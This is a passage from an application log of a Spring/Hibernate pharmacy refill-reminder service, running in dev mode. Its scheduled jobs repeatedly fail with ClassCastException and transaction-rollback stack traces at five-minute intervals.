org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 16:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 16:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 16:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 16:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 16:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 16:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 16:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 16:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 16:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 16:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 16:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 16:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 16:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 16:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 16:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 16:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 16:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 16:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 16:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 16:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 16:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 16:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 16:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 16:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 16:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 16:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 16:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 16:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 16:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 16:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 16:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 16:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 16:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 16:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at 